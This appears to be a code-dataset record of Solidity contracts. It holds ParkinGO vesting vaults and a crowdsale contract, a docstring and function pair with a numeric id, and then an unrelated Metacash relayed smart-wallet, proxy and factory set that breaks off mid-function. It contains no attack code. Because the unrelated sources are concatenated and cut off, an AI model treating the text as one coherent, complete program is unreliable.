VESTING_DIV_RATE = 21; // division rate of monthly vesting uint256 public constant VESTING_INTERVAL = 30 days; // vesting interval uint256 public constant VESTING_CLIFF = 90 days; // duration until cliff is reached uint256 public constant VESTING_DURATION = 720 days; // vesting duration GotToken public token; uint256 public start; uint256 public end; uint256 public cliff; //Investment[] public investments; // key: investor address; value: index in investments array. //mapping(address => uint256) public investorLUT; mapping(address => Investment) public investments; /** * @dev Function to be fired by the initPGOMonthlyInternalVault function from the GotCrowdSale contract to set the * InternalVault's state after deployment. * @param beneficiaries Array of the internal investors addresses to whom vested tokens are transferred. * @param balances Array of token amount per beneficiary. * @param startTime Start time at which the first released will be executed, and from which the cliff for second * release is calculated. * @param _token The address of the GOT Token. */ function init(address[] beneficiaries, uint256[] balances, uint256 startTime, address _token) public { // makes sure this function is only called once require(token == address(0)); require(beneficiaries.length == balances.length); start = startTime; cliff = start.add(VESTING_CLIFF); end = start.add(VESTING_DURATION); token = GotToken(_token); for (uint256 i = 0; i < beneficiaries.length; i = i.add(1)) { investments[beneficiaries[i]] = Investment(beneficiaries[i], balances[i], 0); } } /** * @dev Allows a sender to transfer vested tokens to the beneficiary's address. * @param beneficiary The address that will receive the vested tokens. */ function release(address beneficiary) public { uint256 unreleased = releasableAmount(beneficiary); require(unreleased > 0); investments[beneficiary].released = investments[beneficiary].released.add(unreleased); token.safeTransfer(beneficiary, unreleased); } /** * @dev Transfers vested tokens to the sender's address. */ function release() public { release(msg.sender); } /** * @dev Allows to check an investment. * @param beneficiary The address of the beneficiary of the investment to check. */ function getInvestment(address beneficiary) public view returns(address, uint256, uint256) { return ( investments[beneficiary].beneficiary, investments[beneficiary].totalBalance, investments[beneficiary].released ); } /** * @dev Calculates the amount that has already vested but hasn't been released yet. * @param beneficiary The address that will receive the vested tokens. */ function releasableAmount(address beneficiary) public view returns (uint256) { return vestedAmount(beneficiary).sub(investments[beneficiary].released); } /** * @dev Calculates the amount that has already vested. * @param beneficiary The address that will receive the vested tokens. */ function vestedAmount(address beneficiary) public view returns (uint256) { uint256 vested = 0; if (block.timestamp >= cliff && block.timestamp < end) { // after cliff -> 1/21 of totalBalance every month, must skip first 3 months uint256 totalBalance = investments[beneficiary].totalBalance; uint256 monthlyBalance = totalBalance.div(VESTING_DIV_RATE); uint256 time = block.timestamp.sub(cliff); uint256 elapsedOffsets = time.div(VESTING_INTERVAL); uint256 vestedToSum = elapsedOffsets.mul(monthlyBalance); vested = vested.add(vestedToSum); } if (block.timestamp >= end) { // after end -> all vested vested = investments[beneficiary].totalBalance; } return vested; } } //File: contracts\ico\PGOMonthlyPresaleVault.sol /** * @title PGOMonthlyVault * @dev A token holder contract that allows the release of tokens after a vesting period. * * @version 1.0 * @author ParkinGO */ pragma solidity ^0.4.24; contract PGOMonthlyPresaleVault is PGOMonthlyInternalVault { /** * @dev OVERRIDE vestedAmount from PGOMonthlyInternalVault * Calculates the amount that has already vested, release 1/3 of token immediately. * @param beneficiary The address that will receive the vested tokens. */ function vestedAmount(address beneficiary) public view returns (uint256) { uint256 vested = 0; if (block.timestamp >= start) { // after start -> 1/3 released (fixed) vested = investments[beneficiary].totalBalance.div(3); } if (block.timestamp >= cliff && block.timestamp < end) { // after cliff -> 1/27 of totalBalance every month, must skip first 9 month uint256 unlockedStartBalance = investments[beneficiary].totalBalance.div(3); uint256 totalBalance = investments[beneficiary].totalBalance; uint256 lockedBalance = totalBalance.sub(unlockedStartBalance); uint256 monthlyBalance = lockedBalance.div(VESTING_DIV_RATE); uint256 daysToSkip = 90 days; uint256 time = block.timestamp.sub(start).sub(daysToSkip); uint256 elapsedOffsets = time.div(VESTING_INTERVAL); vested = vested.add(elapsedOffsets.mul(monthlyBalance)); } if (block.timestamp >= end) { // after end -> all vested vested = investments[beneficiary].totalBalance; } return vested; } } //File: contracts\ico\GotCrowdSale.sol /** * @title GotCrowdSale * * @version 1.0 * @author ParkinGo */ pragma solidity ^0.4.24; contract GotCrowdSale is Pausable, CanReclaimToken, ICOEngineInterface, KYCBase { /*** CONSTANTS ***/ uint256 public constant START_TIME = 1529416800; //uint256 public constant START_TIME = 1529416800; // 19 June 2018 14:00:00 GMT uint256 public constant END_TIME = 1530655140; // 03 July 2018 21:59:00 GMT //uint256 public constant USD_PER_TOKEN = 75; // 0.75$ //uint256 public constant USD_PER_ETHER = 60000; // REMEMBER TO CHANGE IT AT ICO START uint256 public constant TOKEN_PER_ETHER = 740; // REMEMBER TO CHANGE IT AT ICO START //Token allocation //Team, founder, partners and advisor cap locked using Monthly Internal Vault uint256 public constant MONTHLY_INTERNAL_VAULT_CAP = 2.85e7 * 1e18; //Company unlocked liquidity and Airdrop allocation uint256 public constant PGO_UNLOCKED_LIQUIDITY_CAP = 1.5e7 * 1e18; //Internal reserve fund uint256 public constant PGO_INTERNAL_RESERVE_CAP = 3.5e7 * 1e18; //Reserved Presale Allocation 33% free and 67% locked using Monthly Presale Vault uint256 public constant RESERVED_PRESALE_CAP = 1.5754888e7 * 1e18; //ICO TOKEN ALLOCATION //Public ICO Cap //uint256 public constant CROWDSALE_CAP = 0.15e7 * 1e18; //Reservation contract Cap uint256 public constant RESERVATION_CAP = 0.4297111e7 * 1e18; //TOTAL ICO CAP uint256 public constant TOTAL_ICO_CAP = 0.5745112e7 * 1e18; uint256 public start; // ICOEngineInterface uint256 public end; // ICOEngineInterface uint256 public cap; // ICOEngineInterface uint256 public tokenPerEth; uint256 public availableTokens; // ICOEngineInterface address[] public kycSigners; // KYCBase bool public capReached; uint256 public weiRaised; uint256 public tokensSold; // Vesting contracts. //Unlock funds after 9 months monthly PGOMonthlyInternalVault public pgoMonthlyInternalVault; //Unlock 1/3 funds immediately and remaining after 9 months monthly PGOMonthlyPresaleVault public pgoMonthlyPresaleVault; //Unlock funds after 12 months 25% every 6 months PGOVault public pgoVault; // Vesting wallets. address public pgoInternalReserveWallet; //Unlocked wallets address public pgoUnlockedLiquidityWallet; //ether wallet address public wallet; GotToken public token; // Lets owner manually end crowdsale. bool public didOwnerEndCrowdsale; /** * @dev Constructor. * @param _token address contract got tokens. * @param _wallet The address where funds should be transferred. * @param _pgoInternalReserveWallet The address where token will be send after vesting should be transferred. * @param _pgoUnlockedLiquidityWallet The address where token will be send after vesting should be transferred. * @param _pgoMonthlyInternalVault The address of internal funds vault contract with monthly unlocking after 9 months. * @param _pgoMonthlyPresaleVault The address of presale funds vault contract with 1/3 free funds and monthly unlocking after 9 months. * @param _kycSigners Array of the signers addresses required by the KYCBase constructor, provided by Eidoo. * See https://github.com/eidoo/icoengine */ constructor( address _token, address _wallet, address _pgoInternalReserveWallet, address _pgoUnlockedLiquidityWallet, address _pgoMonthlyInternalVault, address _pgoMonthlyPresaleVault, address[] _kycSigners ) public KYCBase(_kycSigners) { require(END_TIME >= START_TIME); require(TOTAL_ICO_CAP > 0); start = START_TIME; end = END_TIME; cap = TOTAL_ICO_CAP; wallet = _wallet; tokenPerEth = TOKEN_PER_ETHER;// USD_PER_ETHER.div(USD_PER_TOKEN); availableTokens = TOTAL_ICO_CAP; kycSigners = _kycSigners; token = GotToken(_token); pgoMonthlyInternalVault = PGOMonthlyInternalVault(_pgoMonthlyInternalVault); pgoMonthlyPresaleVault = PGOMonthlyPresaleVault(_pgoMonthlyPresaleVault); pgoInternalReserveWallet = _pgoInternalReserveWallet; pgoUnlockedLiquidityWallet = _pgoUnlockedLiquidityWallet; wallet = _wallet; // Creates ParkinGo vault contract pgoVault = new PGOVault(pgoInternalReserveWallet, address(token), END_TIME); } /** * @dev Mints unlocked tokens to unlockedLiquidityWallet and * assings tokens to be held into the internal reserve vault contracts. * To be called by the crowdsale's owner only. */ function mintPreAllocatedTokens() public onlyOwner { mintTokens(pgoUnlockedLiquidityWallet, PGO_UNLOCKED_LIQUIDITY_CAP); mintTokens(address(pgoVault), PGO_INTERNAL_RESERVE_CAP); } /** * @dev Sets the state of the internal monthly locked vault contract and mints tokens. * It will contains all TEAM, FOUNDER, ADVISOR and PARTNERS tokens. * All token are locked for the first 9 months and then unlocked monthly. * It will check that all internal token are correctly allocated. * So far, the internal monthly vault contract has been deployed and this function * needs to be called to set its investments and vesting conditions. * @param beneficiaries Array of the internal addresses to whom vested tokens are transferred. * @param balances Array of token amount per beneficiary. */ function initPGOMonthlyInternalVault(address[] beneficiaries, uint256[] balances) public onlyOwner equalLength(beneficiaries, balances) { uint256 totalInternalBalance = 0; uint256 balancesLength = balances.length; for (uint256 i = 0; i < balancesLength; i++) { totalInternalBalance = totalInternalBalance.add(balances[i]); } //check that all balances matches internal vault allocated Cap require(totalInternalBalance == MONTHLY_INTERNAL_VAULT_CAP); pgoMonthlyInternalVault.init(beneficiaries, balances, END_TIME, token); mintTokens(address(pgoMonthlyInternalVault), MONTHLY_INTERNAL_VAULT_CAP); } /** * @dev Sets the state of the reserved presale vault contract and mints reserved presale tokens. * It will contains all reserved PRESALE token, * 1/3 of tokens are free and the remaining are locked for the first 9 months and then unlocked monthly. * It will check that all reserved presale token are correctly allocated. * So far, the monthly presale vault contract has been deployed and * this function needs to be called to set its investments and vesting conditions. * @param beneficiaries Array of the presale investors addresses to whom vested tokens are transferred. * @param balances Array of token amount per beneficiary. */ function initPGOMonthlyPresaleVault(address[] beneficiaries, uint256[] balances) public onlyOwner equalLength(beneficiaries, balances) { uint256 totalPresaleBalance = 0; uint256 balancesLength = balances.length; for (uint256 i = 0; i < balancesLength; i++) { totalPresaleBalance = totalPresaleBalance.add(balances[i]); } //check that all balances matches internal vault allocated Cap require(totalPresaleBalance == RESERVED_PRESALE_CAP); pgoMonthlyPresaleVault.init(beneficiaries, balances, END_TIME, token); mintTokens(address(pgoMonthlyPresaleVault), totalPresaleBalance); } /** * @dev Mint all token collected by second private presale (called reservation), * all KYC control are made outside contract under responsability of ParkinGO. * Also, updates tokensSold and availableTokens in the crowdsale contract, * it checks that sold token are less than reservation contract cap. * @param beneficiaries Array of the reservation user that bought tokens in private reservation sale. * @param balances Array of token amount per beneficiary. */ function mintReservation(address[] beneficiaries, uint256[] balances) public onlyOwner equalLength(beneficiaries, balances) { //require(tokensSold == 0); uint256 totalReservationBalance = 0; uint256 balancesLength = balances.length; for (uint256 i = 0; i < balancesLength; i++) { totalReservationBalance = totalReservationBalance.add(balances[i]); uint256 amount = balances[i]; //update token sold of crowdsale contract tokensSold = tokensSold.add(amount); //update available token of crowdsale contract availableTokens = availableTokens.sub(amount); mintTokens(beneficiaries[i], amount); } require(totalReservationBalance <= RESERVATION_CAP); } /** * @dev Allows the owner to close the crowdsale manually before the end time. */ function closeCrowdsale() public onlyOwner { require(block.timestamp >= START_TIME && block.timestamp < END_TIME); didOwnerEndCrowdsale = true; } /** * @dev Allows the owner to unpause tokens, stop minting and transfer ownership of the token contract. */ function finalise() public onlyOwner { require(didOwnerEndCrowdsale || block.timestamp > end || capReached); token.finishMinting(); token.unpause(); // Token contract extends CanReclaimToken so the owner can recover // any ERC20 token received in this contract by mistake. // So far, the owner of the token contract is the crowdsale contract. // We transfer the ownership so the owner of the crowdsale is also the owner of the token. token.transferOwnership(owner); } /** * @dev Implements the price function from EidooEngineInterface. * @notice Calculates the price as tokens/ether based on the corresponding bonus bracket. * @return Price as tokens/ether. */ function price() public view returns (uint256 _price) { return tokenPerEth; } /** * @dev Implements the ICOEngineInterface. * @return False if the ico is not started, true if the ico is started and running, true if the ico is completed. */ function started() public view returns(bool) { if (block.timestamp >= start) { return true; } else { return false; } } /** * @dev Implements the ICOEngineInterface. * @return False if the ico is not started, false if the ico is started and running, true if the ico is completed. */ function ended() public view returns(bool) { if (block.timestamp >= end) { return true; } else { return false; } } /** * @dev Implements the ICOEngineInterface. * @return Timestamp of the ico start time. */ function startTime() public view returns(uint) { return start; } /** * @dev Implements the ICOEngineInterface. * @return Timestamp of the ico end time. */ function endTime() public view returns(uint) { return end; } /** * @dev Implements the ICOEngineInterface. * @return The total number of the tokens available for the sale, must not change when the ico is started. */ function totalTokens() public view returns(uint) { return cap; } /** * @dev Implements the ICOEngineInterface. * @return The number of the tokens available for the ico. * At the moment the ico starts it must be equal to totalTokens(), * then it will decrease. */ function remainingTokens() public view returns(uint) { return availableTokens; } /** * @dev Implements the KYCBase senderAllowedFor function to enable a sender to buy tokens for a different address. * @return true. */ function senderAllowedFor(address buyer) internal view returns(bool) { require(buyer != address(0)); return true; } /** * @dev Implements the KYCBase releaseTokensTo function to mint tokens for an investor. * Called after the KYC process has passed. * @return A boolean that indicates if the operation was successful. */ function releaseTokensTo(address buyer) internal returns(bool) { require(validPurchase()); uint256 overflowTokens; uint256 refundWeiAmount; uint256 weiAmount = msg.value; uint256 tokenAmount = weiAmount.mul(price()); if (tokenAmount >= availableTokens) { capReached = true; overflowTokens = tokenAmount.sub(availableTokens); tokenAmount = tokenAmount.sub(overflowTokens); refundWeiAmount = overflowTokens.div(price()); weiAmount = weiAmount.sub(refundWeiAmount); buyer.transfer(refundWeiAmount); } weiRaised = weiRaised.add(weiAmount); tokensSold = tokensSold.add(tokenAmount); availableTokens = availableTokens.sub(tokenAmount); mintTokens(buyer, tokenAmount); forwardFunds(weiAmount); return true; } /** * @dev Fired by the releaseTokensTo function after minting tokens, * to forward the raised wei to the address that collects funds. * @param _weiAmount Amount of wei send by the investor. */ function forwardFunds(uint256 _weiAmount) internal { wallet.transfer(_weiAmount); } /** * @dev Validates an incoming purchase. Required statements revert state when conditions are not met. * @return true If the transaction can buy tokens. */ function validPurchase() internal view returns (bool) { require(!paused && !capReached); require(block.timestamp >= start && block.timestamp <= end); return true; } /** * @dev Mints tokens being sold during the crowdsale phase as part of the implementation of releaseTokensTo function * from the KYCBase contract. * @param to The address that will receive the minted tokens. * @param amount The amount of tokens to mint. */ function mintTokens(address to, uint256 amount) private { token.mint(to, amount); } modifier equalLength(address[] beneficiaries, uint256[] balances) { require(beneficiaries.length == balances.length); _; } }
Calculates the amount that has already vested but hasn't been released yet. beneficiary The address that will receive the vested tokens./
function releasableAmount(address beneficiary) public view returns (uint256) { return vestedAmount(beneficiary).sub(investments[beneficiary].released); }
12,122,047
pragma solidity 0.5.8; contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(isOwner()); _; } function isOwner() public view returns (bool) { return msg.sender == _owner; } function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title RelayRegistry * @dev Singleton contract that registers a whitelist of relays accessed by the factory and smart wallets. Contract is owned by an external account for now but ownership should be transferred to a governance contract in the future. */ contract RelayRegistry is Ownable { event AddedRelay(address relay); event RemovedRelay(address relay); mapping (address => bool) public relays; constructor(address initialRelay) public { relays[initialRelay] = true; } /** * @dev Allows relay registry owner to add or remove a relay from the whitelist * @param relay Address of the selected relay * @param value True to add them to the whitelist, false to remove them */ function triggerRelay(address relay, bool value) onlyOwner public returns (bool) { relays[relay] = value; if(value) { emit AddedRelay(relay); } else { emit RemovedRelay(relay); } return true; } } interface IERC20 { function transfer(address to, uint256 value) external returns (bool); } /** * @title Smart Wallet Contract * @dev All functions of this contract should be called using delegatecall from the Proxy contract. This allows us to significantly reduce the deployment costs of smart wallets. All functions of this contract are executed in the context of Proxy contract. */ contract SmartWallet { event Upgrade(address indexed newImplementation); /** * @dev Shared key value store. Data should be encoded and decoded using abi.encode()/abi.decode() by different functions. No data is actually stored in SmartWallet, instead everything is stored in the Proxy contract's context. */ mapping (bytes32 => bytes) public store; modifier onlyRelay { RelayRegistry registry = RelayRegistry(0x4360b517f5b3b2D4ddfAEDb4fBFc7eF0F48A4Faa); require(registry.relays(msg.sender)); _; } modifier onlyOwner { require(msg.sender == abi.decode(store["factory"], (address)) || msg.sender == abi.decode(store["owner"], (address))); _; } /** * @dev Function called once by Factory contract to initiate owner and nonce. This is necessary because we cannot pass arguments to a CREATE2-created contract without changing its address. * @param owner Wallet Owner */ function initiate(address owner) public returns (bool) { // this function can only be called by the factory if(msg.sender != abi.decode(store["factory"], (address))) return false; // store current owner in key store store["owner"] = abi.encode(owner); store["nonce"] = abi.encode(0); return true; } /** * @dev Same as above, but also applies a feee to a relayer address provided by the factory * @param owner Wallet Owner * @param relay Address of the relayer * @param fee Fee paid to relayer in a token * @param token Address of ERC20 contract in which fee will be denominated. */ function initiate(address owner, address relay, uint fee, address token) public returns (bool) { require(initiate(owner), "internal initiate failed"); // Access ERC20 token IERC20 tokenContract = IERC20(token); // Send fee to relay tokenContract.transfer(relay, fee); return true; } /** * @dev Relayed token transfer. Submitted by a relayer on behalf of the wallet owner. * @param to Recipient address * @param value Transfer amount * @param fee Fee paid to the relayer * @param tokenContract Address of the token contract used for both the transfer and the fees * @param deadline Block number deadline for this signed message */ function pay(address to, uint value, uint fee, address tokenContract, uint deadline, uint8 v, bytes32 r, bytes32 s) onlyRelay public returns (bool) { uint currentNonce = abi.decode(store["nonce"], (uint)); require(block.number <= deadline); require(abi.decode(store["owner"], (address)) == recover(keccak256(abi.encodePacked("pay", msg.sender, to, tokenContract, value, fee, tx.gasprice, currentNonce, deadline)), v, r, s)); IERC20 token = IERC20(tokenContract); store["nonce"] = abi.encode(currentNonce+1); token.transfer(to, value); token.transfer(msg.sender, fee); return true; } /** * @dev Direct token transfer. Submitted by the wallet owner * @param to Recipient address * @param value Transfer amount * @param tokenContract Address of the token contract used for the transfer */ function pay(address to, uint value, address tokenContract) onlyOwner public returns (bool) { IERC20 token = IERC20(tokenContract); token.transfer(to, value); return true; } /** * @dev Same as above but allows batched transfers in multiple tokens */ function pay(address[] memory to, uint[] memory value, address[] memory tokenContract) onlyOwner public returns (bool) { for (uint i; i < to.length; i++) { IERC20 token = IERC20(tokenContract[i]); token.transfer(to[i], value[i]); } return true; } /** * @dev Internal function that executes a call to any contract * @param contractAddress Address of the contract to call * @param data calldata to send to contractAddress * @param msgValue Amount in wei to be sent with the call to the contract from the wallet's balance */ function _execCall(address contractAddress, bytes memory data, uint256 msgValue) internal returns (bool result) { // Warning: This executes an external contract call, may pose re-entrancy risk. assembly { result := call(gas, contractAddress, msgValue, add(data, 0x20), mload(data), 0, 0) } } /** * @dev Internal function that creates any contract * @param data bytecode of the new contract */ function _execCreate(bytes memory data) internal returns (bool result) { address deployedContract; assembly { deployedContract := create(0, add(data, 0x20), mload(data)) } result = (deployedContract != address(0)); } /** * @dev Internal function that creates any contract using create2 * @param data bytecode of the new contract * @param salt Create2 salt parameter */ function _execCreate2(bytes memory data, uint256 salt) internal returns (bool result) { address deployedContract; assembly { deployedContract := create2(0, add(data, 0x20), mload(data), salt) } result = (deployedContract != address(0)); } /** * @dev Public function that allows the owner to execute a call to any contract * @param contractAddress Address of the contract to call * @param data calldata to send to contractAddress * @param msgValue Amount in wei to be sent with the call to the contract from the wallet's balance */ function execCall(address contractAddress, bytes memory data, uint256 msgValue) onlyOwner public returns (bool) { require(_execCall(contractAddress, data, msgValue)); return true; } /** * @dev Public function that allows a relayer to execute a call to any contract on behalf of the owner * @param contractAddress Address of the contract to call * @param data calldata to send to contractAddress * @param msgValue Amount in wei to be sent with the call to the contract from the wallet's balance * @param fee Fee paid to the relayer * @param tokenContract Address of the token contract used for the fee * @param deadline Block number deadline for this signed message */ function execCall(address contractAddress, bytes memory data, uint256 msgValue, uint fee, address tokenContract, uint deadline, uint8 v, bytes32 r, bytes32 s) onlyRelay public returns (bool) { uint currentNonce = abi.decode(store["nonce"], (uint)); require(block.number <= deadline); require(abi.decode(store["owner"], (address)) == recover(keccak256(abi.encodePacked("execCall", msg.sender, contractAddress, tokenContract, data, msgValue, fee, tx.gasprice, currentNonce, deadline)), v, r, s)); IERC20 token = IERC20(tokenContract); store["nonce"] = abi.encode(currentNonce+1); token.transfer(msg.sender, fee); require(_execCall(contractAddress, data, msgValue)); return true; } /** * @dev Public function that allows the owner to create any contract * @param data bytecode of the new contract */ function execCreate(bytes memory data) onlyOwner public returns (bool) { require(_execCreate(data)); return true; } /** * @dev Public function that allows a relayer to create any contract on behalf of the owner * @param data new contract bytecode * @param fee Fee paid to the relayer * @param tokenContract Address of the token contract used for the fee * @param deadline Block number deadline for this signed message */ function execCreate(bytes memory data, uint fee, address tokenContract, uint deadline, uint8 v, bytes32 r, bytes32 s) onlyRelay public returns (bool) { uint currentNonce = abi.decode(store["nonce"], (uint)); require(block.number <= deadline); require(abi.decode(store["owner"], (address)) == recover(keccak256(abi.encodePacked("execCreate", msg.sender, tokenContract, data, fee, tx.gasprice, currentNonce, deadline)), v, r, s)); require(_execCreate(data)); IERC20 token = IERC20(tokenContract); store["nonce"] = abi.encode(currentNonce+1); token.transfer(msg.sender, fee); return true; } /** * @dev Public function that allows the owner to create any contract using create2 * @param data bytecode of the new contract * @param salt Create2 salt parameter */ function execCreate2(bytes memory data, uint salt) onlyOwner public returns (bool) { require(_execCreate2(data, salt)); return true; } /** * @dev Public function that allows a relayer to create any contract on behalf of the owner using create2 * @param data new contract bytecode * @param salt Create2 salt parameter * @param fee Fee paid to the relayer * @param tokenContract Address of the token contract used for the fee * @param deadline Block number deadline for this signed message */ function execCreate2(bytes memory data, uint salt, uint fee, address tokenContract, uint deadline, uint8 v, bytes32 r, bytes32 s) onlyRelay public returns (bool) { uint currentNonce = abi.decode(store["nonce"], (uint)); require(block.number <= deadline); require(abi.decode(store["owner"], (address)) == recover(keccak256(abi.encodePacked("execCreate2", msg.sender, tokenContract, data, salt, fee, tx.gasprice, currentNonce, deadline)), v, r, s)); require(_execCreate2(data, salt)); IERC20 token = IERC20(tokenContract); store["nonce"] = abi.encode(currentNonce+1); token.transfer(msg.sender, fee); return true; } /** * @dev Since all eth transfers to this contract are redirected to the owner. This is the only way for anyone, including the owner, to keep ETH on this contract. */ function depositEth() public payable {} /** * @dev Allows the owner to withdraw all ETH from the contract. */ function withdrawEth() public onlyOwner() { address payable owner = abi.decode(store["owner"], (address)); owner.transfer(address(this).balance); } /** * @dev Allows a relayer to change the address of the smart wallet implementation contract on behalf of the owner. New contract should have its own upgradability logic or Proxy will be stuck on it. * @param implementation Address of the new implementation contract to replace this one. * @param fee Fee paid to the relayer * @param feeContract Address of the fee token contract * @param deadline Block number deadline for this signed message */ function upgrade(address implementation, uint fee, address feeContract, uint deadline, uint8 v, bytes32 r, bytes32 s) onlyRelay public returns (bool) { uint currentNonce = abi.decode(store["nonce"], (uint)); require(block.number <= deadline); address owner = abi.decode(store["owner"], (address)); require(owner == recover(keccak256(abi.encodePacked("upgrade", msg.sender, implementation, feeContract, fee, tx.gasprice, currentNonce, deadline)), v, r, s)); store["nonce"] = abi.encode(currentNonce+1); store["fallback"] = abi.encode(implementation); IERC20 feeToken = IERC20(feeContract); feeToken.transfer(msg.sender, fee); emit Upgrade(implementation); return true; } /** * @dev Same as above, but activated directly by the owner. * @param implementation Address of the new implementation contract to replace this one. */ function upgrade(address implementation) onlyOwner public returns (bool) { store["fallback"] = abi.encode(implementation); emit Upgrade(implementation); return true; } /** * @dev Internal function used to prefix hashes to allow for compatibility with signers such as Metamask * @param messageHash Original hash */ function recover(bytes32 messageHash, uint8 v, bytes32 r, bytes32 s) internal pure returns (address) { bytes memory prefix = "\x19Metacash Signed Message:\n32"; bytes32 prefixedMessageHash = keccak256(abi.encodePacked(prefix, messageHash)); return ecrecover(prefixedMessageHash, v, r, s); } } /** * @title Proxy * @dev This contract is usually deployed as part of every user's first gasless transaction. It refers to a hardcoded address of the smart wallet contract and uses its functions via delegatecall. */ contract Proxy { /** * @dev Shared key value store. All data across different SmartWallet implementations is stored here. It also keeps storage across different upgrades. */ mapping (bytes32 => bytes) public store; /** * @dev The Proxy constructor adds the hardcoded address of SmartWallet and the address of the factory (from msg.sender) to the store for later transactions */ constructor() public { // set implementation address in storage store["fallback"] = abi.encode(0xEfc66C37a06507bCcABc0ce8d8bb5Ac4c1A2a8AA); // SmartWallet address // set factory address in storage store["factory"] = abi.encode(msg.sender); } /** * @dev The fallback functions forwards everything as a delegatecall to the implementation SmartWallet contract */ function() external payable { address impl = abi.decode(store["fallback"], (address)); assembly { let ptr := mload(0x40) // (1) copy incoming call data calldatacopy(ptr, 0, calldatasize) // (2) forward call to logic contract let result := delegatecall(gas, impl, ptr, calldatasize, 0, 0) let size := returndatasize // (3) retrieve return data returndatacopy(ptr, 0, size) // (4) forward return data back to caller switch result case 0 { revert(ptr, size) } default { return(ptr, size) } } } } /** * @title Smart wallet factory * @dev Singleton contract responsible for deploying new smart wallet instances */ contract Factory { event Deployed(address indexed addr, address indexed owner); modifier onlyRelay { RelayRegistry registry = RelayRegistry(0x4360b517f5b3b2D4ddfAEDb4fBFc7eF0F48A4Faa); // Relay Registry address require(registry.relays(msg.sender)); _; } /** * @dev Internal function used for deploying smart wallets using create2 * @param owner Address of the wallet signer address (external account) associated with the smart wallet */ function deployCreate2(address owner) internal returns (address) { bytes memory code = type(Proxy).creationCode; address addr; assembly { // create2 addr := create2(0, add(code, 0x20), mload(code), owner) // revert if contract was not created if iszero(extcodesize(addr)) {revert(0, 0)} } return addr; } /** * @dev Allows a relayer to deploy a smart wallet on behalf of a user * @param fee Fee paid from the user's newly deployed smart wallet to the relay * @param token Address of token contract for the fee * @param deadline Block number deadline for this signed message */ function deployWallet(uint fee, address token, uint deadline, uint8 v, bytes32 r, bytes32 s) onlyRelay public returns (address) { require(block.number <= deadline); address signer = recover(keccak256(abi.encodePacked("deployWallet", msg.sender, token, tx.gasprice, fee, deadline)), v, r, s); address addr = deployCreate2(signer); SmartWallet wallet = SmartWallet(uint160(addr)); require(wallet.initiate(signer, msg.sender, fee, token)); emit Deployed(addr, signer); return addr; } /** * @dev Allows a relayer to deploy a smart wallet and send a token transfer on behalf of a user * @param fee Fee paid from the user's newly deployed smart wallet to the relay * @param token Address of token contract for the fee * @param to Transfer recipient address * @param value Transfer amount * @param deadline Block number deadline for this signed message */ function deployWalletPay(uint fee, address token, address to, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) onlyRelay public returns (address addr) { require(block.number <= deadline); address signer = recover(keccak256(abi.encodePacked("deployWalletPay", msg.sender, token, to, tx.gasprice, fee, value, deadline)), v, r, s); addr = deployCreate2(signer); SmartWallet wallet = SmartWallet(uint160(addr)); require(wallet.initiate(signer, msg.sender, fee, token)); require(wallet.pay(to, value, token)); emit Deployed(addr, signer); } /** * @dev Allows a user to directly deploy their own smart wallet */ function deployWallet() public returns (address) { address addr = deployCreate2(msg.sender); SmartWallet wallet = SmartWallet(uint160(addr)); require(wallet.initiate(msg.sender)); emit Deployed(addr, msg.sender); return addr; } /** * @dev Same as above, but also sends a transfer from the newly-deployed smart wallet * @param token Address of the token contract for the transfer * @param to Transfer recipient address * @param value Transfer amount */ function deployWalletPay(address token, address to, uint value) public returns (address) { address addr = deployCreate2(msg.sender); SmartWallet wallet = SmartWallet(uint160(addr)); require(wallet.pay(to, value, token)); require(wallet.initiate(msg.sender)); emit Deployed(addr, msg.sender); return addr; } /** * @dev Allows user to deploy their wallet and execute a call operation to a foreign contract. * @notice The order of wallet.execCall & wallet.initiate is important. It allows the fee to be paid after the execution is finished. This allows collect-call use cases. * @param contractAddress Address of the contract to call * @param data calldata to send to contractAddress */ function deployWalletExecCall(address contractAddress, bytes memory data) public payable returns (address) { address addr = deployCreate2(msg.sender); SmartWallet wallet = SmartWallet(uint160(addr)); if(msg.value > 0) { wallet.depositEth.value(msg.value)(); } require(wallet.execCall(contractAddress, data, msg.value)); require(wallet.initiate(msg.sender)); emit Deployed(addr, msg.sender); return addr; } /** * @dev Allows a relayer to deploy a wallet and execute a call operation to a foreign contract on behalf of a user. * @param contractAddress Address of the contract to call * @param data calldata to send to contractAddress * @param msgValue Amount in wei to be sent with the call to the contract from the wallet's balance * @param fee Fee paid to the relayer * @param token Address of the token contract for the fee * @param deadline Block number deadline for this signed message */ function deployWalletExecCall(address contractAddress, bytes memory data, uint msgValue, uint fee, address token, uint deadline, uint8 v, bytes32 r, bytes32 s) onlyRelay public returns (address addr) { require(block.number <= deadline); address signer = recover(keccak256(abi.encodePacked("deployWalletExecCall", msg.sender, token, contractAddress, data, msgValue, tx.gasprice, fee, deadline)), v, r, s); addr = deployCreate2(signer); SmartWallet wallet = SmartWallet(uint160(addr)); require(wallet.execCall(contractAddress, data, msgValue)); require(wallet.initiate(signer, msg.sender, fee, token)); emit Deployed(addr, signer); } /** * @dev Allows user to deploy their wallet and deploy a new contract through their wallet * @param data bytecode of the new contract */ function deployWalletExecCreate(bytes memory data) public returns (address) { address addr = deployCreate2(msg.sender); SmartWallet wallet = SmartWallet(uint160(addr)); require(wallet.execCreate(data)); require(wallet.initiate(msg.sender)); emit Deployed(addr, msg.sender); return addr; } /** * @dev Allows a relayer to deploy a wallet and deploy a new contract through the wallet on behalf of a user. * @param data bytecode of the new contract * @param fee Fee paid to the relayer * @param token Address of the token contract for the fee * @param deadline Block number deadline for this signed message */ function deployWalletExecCreate(bytes memory data, uint fee, address token, uint deadline, uint8 v, bytes32 r, bytes32 s) onlyRelay public returns (address addr) { require(block.number <= deadline); address signer = recover(keccak256(abi.encodePacked("deployWalletExecCreate", msg.sender, token, data, tx.gasprice, fee, deadline)), v, r, s); addr = deployCreate2(signer); SmartWallet wallet = SmartWallet(uint160(addr)); require(wallet.execCreate(data)); require(wallet.initiate(signer, msg.sender, fee, token)); emit Deployed(addr, signer); } /** * @dev Allows user to deploy their wallet and deploy a new contract through their wallet using create2 * @param data bytecode of the new contract * @param salt create2 salt parameter */ function 